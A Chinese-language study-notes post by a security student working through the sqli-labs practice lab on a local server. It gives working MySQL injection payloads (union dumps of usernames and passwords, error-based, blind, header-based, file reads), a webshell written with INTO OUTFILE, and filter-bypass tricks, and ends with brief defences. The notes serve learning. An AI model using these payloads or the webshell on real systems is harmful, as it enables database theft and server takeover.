(CN) MySQL Injection

环境搭建

桌面环境:Windows10

靶场环境:phpstudy_pro

使用工具:

  • hackbar
  • burpsuite

SQL注入

概述

  1. 按照请求方法分类
  • GET
  • POST
  1. 按SQL数据类型分类
  • 整型注入
  • 字符型注入
  1. 其他数据类型
  • 报错注入
  • 双注入
  • 时间盲注
  • 布尔盲注
  • cookie注入
  • user-agent注入

整型注入

补充:information_schema

  1. schemata表
    • 当前 mysql 实例中所有数据库的信息。SHOW DATABASES; 命令从这个表获取数据。
    • schema_name字段就是所有的数据库名字
  2. tables表
    • table_schema字段表示数据库名称
    • table_name字段表示对应数据库的表信息
  3. columns表
    • table_schema字段表示数据库名称
    • table_name字段表示对应数据库的表信息
    • column_name字段表示具体表中的字段值有哪些

Less2

方法:

  1. 判断是否有注入,判断是否未严格校验

    • 可控参数改变能否影响页面显示结果

    • 输入的sql语句是否可以报错,通过报错来查看数据库语句痕迹

    • 输入的sql语句能否不报错,使得语句能够成功的闭合

  2. 什么类型的注入

  3. 语句能否被而已修改

  4. 语句是否可以被执行

  5. 获取想要的数据

过程:

image-20220925220807553 image-20220925220833961

以上两步可以得出,id后的参数为整型,不需要’ ’ , " "

image-20220925221220889

使用这个方法可以得出表有多少列

ps:得出多少列的第二种方法

?id=1 order by 4(4这个数字表示第几列,没有这一列会报错)

http://localhost/sqli-labs-master/Less-2/?id=-1  union select 1,group_concat(schema_name),3 from information_schema.schemata

image-20220925222507239

得到了所有数据库名字

image-20220925222800456

得出了security库中有四张表

image-20220925223411604

得出users表的字段

从而得到了关于数据库的详细信息,进行进一步注入

image-20220925223657552

获得了数据库中所有用户的信息

-- 使用更加好的显示方式为
http://localhost/sqli-labs-master/Less-2/?id=-1  union select 1,group_concat(concat_ws(":",username,password)),3 from security.users 

字符型注入

过程:

image-20220926142052709

可以判断为字符型参数

image-20220926142950142

去判断表名和字段名

http://localhost/sqli/Less-1/
?id=-1' union select 1,group_concat(concat_ws(":",username,password)),3 from security.users -- +

以上sql语句可以获取users表的所有信息

post注入

双注入

less11

uname=u'union 
select concat(floor(rand()*2),(select group_concat(password) from security.users limit 0,1)) as a, count(*) from information_schema.tables group by a
-- +&passwd=1234

less5

http://localhost/sqli/Less-5/
?id=1' union select 1,count(*),concat(floor(rand(4)*2),(select concat_ws(":",username,password) from users limit 1,1)) as a from information_schema.tables group by a-- +

报错注入

extractvalue(1,concat(0x7e,(select * from ^)))

updatexml()

布尔盲注

?id=1' or (select ascii(substr(table_name),1,1) from information_schema.tables where table_schema=database() limit 0,1)>100  -- +

结合burpsuite进行暴破

时间盲注

Less9

http://localhost/sqli/Less-9/
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
http://localhost/sqli/Less-9/
?id=1' and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = 'security' limit 0,1)=101,1,sleep(5)) --+
http://localhost/sqli/Less-9/
?id=1' and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1)=11,1,sleep(5)) --+

Cookie注入

Less 20

类似于get注入

只是注入点不同,是cookie与数据库产生交互

HTTP-referer注入

Less19

burpsutie抓包分析

image-20221004194927512

先通过’ " 等方式找到注入方式,发现后台语句可能为insert语句,后使用报错注入方式

Referer: http://localhost/sqli/Less-19/' and extractvalue(1,concat(0x7e,version())) and '

-- 猜测后台语句类似于以下形式
insert into table_name (a,b,c) values(''and () and'','','')

image-20221004195922851

Referer: http://localhost/sqli/Less-19/' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) and '

补充:

使用burpsuite抓包时firefox一直向

image-20221004202443011

这个地址发现get请求,淹没了需要抓的包,但是只有firefox可以抓本地的包,所以进一步寻求解决方法

发现需要进入浏览器,搜索框进入about:config,关闭network.captive-portal-service.enadbled即可

Sql注入读写文件

Load_file(file_name) : 读取文件并返回该文件的内容作为一个字符串

使用条件:

  1. 必须有权限且文件完全可读
  2. 文件必须在服务器上存在
  3. 必须指定完整路径,相对路径不行
  4. 文件必须小于 max_allowed_packet

Less1

http://localhost/sqli/Less-1/?id=-1' union select 1,2,load_file('D:\\phpstudy_pro\\WWW\\sqli\\Less-1\\index.php') -- +

Less7

使用 outfile 导入一句话木马,但默认 outfile 是没有开启的,得手动开启一下:

show global variables like '%secure%';
  • secure_file_priv的值为null,表示限制mysqld不允许导入、导出
  • secure_file_priv的值为/tmp/,表示限制mysqld的导入、导出只能发生在/tmp/目录下
  • secure_file_priv的值为时,表示不对mysqld的导入、导出做限制

修改mysql配置文件my.ini,再[mysqld]下加入secure_file_priv=""以及local_infile=1两条内容即可

上传一句话木马

http://localhost/sqli/Less-7/?id=1')) union select 1,2,"<?php @eval($_POST[a])?>" into outfile "D:\\phpstudy_pro\\WWW\\sqli\\Less-7\\friendly.php" -- +

绕过注释符过滤

Less23

'='可以绕过,使得查询语句不报错

' or ( ) or '同理

' union select 1,2,'同理,还能判断有几个字段

http://localhost/sqli/Less-23/?id=1' or (extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 2,1)))) or '1'='1

绕过and-or字符过滤

Less25

image-20221010100909192

简单测试发现为单引号闭合且or and 被后台过滤,大小写都被过滤了

使用||oorranandd,进行过滤

双写绕过

绕过空格过滤

Less26

%09 tab 水平
%0a 新建一行
%0c 新建一页
%0d return
%0b tab 垂直
%a0 空格
/**/ 代替空格

内联注释绕过

Less27

将blacklist里的关键字写在注释中,内敛的写法去执行完整的语句

/*!union*/  /*!select*/ /*!version()*/

宽字节注入

Less32

http://localhost/sqli/Less-32/?id=-1%82' union select 1,2,3 %23
\逃逸,通过gbk编码的形式825c变成了一个汉字
需要注意的是gb2312 和gbk不同的编码范围

宽字节注入原理

MySQL 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如 %aa%5c 就是一个 汉字。因为过滤方法主要就是在敏感字符前面添加反斜杠 \,所以这里想办法干掉反斜杠即可。

  1. %df 吃掉 \

具体的原因是 urlencode(\') = %5c%27,我们在 %5c%27 前面添加 %df,形 成 %df%5c%27,MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把 %df%5c 当做是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。

  1. \' 中的 \ 过滤掉

例如可以构造 %5c%5c%27 的情况,后面的 %5c 会被前面的 %5c 给注释掉。这也是 bypass 的一种方法。

sql注入防御手段

代码层

  • 黑名单
  • 白名单
  • 敏感字符过滤
  • 使用框架安全查询
  • 规范输出

配置层

  • 开启GPC
  • 使用UTF-8

物理层

  • WAF
  • 数据库审计
  • 云防护
  • IPS
Outis Yang
Outis Yang
2024 Undergraduate in Cyberspace Security

My research interests include Internet of Vehicles(IoV), Penetration Testing and Security research.